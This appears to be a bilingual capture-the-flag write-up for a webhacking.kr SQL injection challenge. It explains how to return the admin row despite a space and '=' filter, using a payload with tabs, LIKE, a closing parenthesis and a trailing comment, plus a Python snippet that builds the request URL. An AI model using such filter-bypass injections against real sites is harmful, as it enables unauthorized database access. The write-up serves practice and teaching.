Challenge
Make the query return the admin row while bypassing the space filter.
绕过空格过滤,让查询返回 admin 记录。
https://webhacking.kr/challenge/web-32/Analysis
题目的查询形态把 no 输入置于括号中,题面注释给出 admin 的 no 为 2。0 让 id='guest' 条件为假,OR no LIKE 2 选中 admin;LIKE 在这里承担比较作用,避开被过滤的 =。%09 解码为 Tab,可替代被过滤的空格;payload 先闭合输入外层括号,再用 -- 注释掉查询末尾的剩余字符。
Solution
下面构造请求,不发送请求:
from urllib.parse import urlencodefrom urllib.request import Request
BASE_URL = "https://webhacking.kr/challenge/web-32/"payload = "0)\tor\tno\tlike\t2\t--\t"request_url = BASE_URL + "?" + urlencode({"no": payload})request = Request(request_url, method="GET")
print(request.full_url)URL 解码后的 no 值为 0)\tor\tno\tlike\t2\t--\t,其中没有普通空格,也没有 =;末尾注释会吞掉服务端拼接的其余内容。